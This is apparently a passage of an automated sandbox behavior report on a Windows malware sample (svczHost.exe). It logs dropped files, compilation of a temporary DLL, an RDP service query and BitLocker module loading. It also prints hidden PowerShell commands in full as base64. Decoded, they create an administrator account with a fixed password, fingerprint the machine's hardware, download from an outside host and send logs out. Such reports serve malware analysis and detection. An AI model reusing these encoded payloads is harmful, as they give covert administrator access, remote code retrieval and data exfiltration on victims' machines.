A9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAG
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAG	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline"			Jump to behavior

Source: svczHost.exe.11.dr	Static PE information: section name: .managed
Source: svczHost.exe.11.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F7C5E push eax; retf	0_2_00007FFB4B4F7C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F7C2E pushad ; retf	0_2_00007FFB4B4F7C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F789E push eax; retf	0_2_00007FFB4B4F78AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F786E pushad ; retf	0_2_00007FFB4B4F789D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4B3DD2A5 pushad ; iretd	6_2_00007FFB4B3DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4B4F0A12 push E95D3A68h; ret	6_2_00007FFB4B4F0A49
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4B4F4E28 pushfd ; ret	6_2_00007FFB4B4F4F11
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4B4F0D00 push eax; iretd	6_2_00007FFB4B4F0D39
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFB4B4E2325 pushad ; iretd	31_2_00007FFB4B4E236D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFB4B4E7963 push ebx; retf	31_2_00007FFB4B4E796A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.dll			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
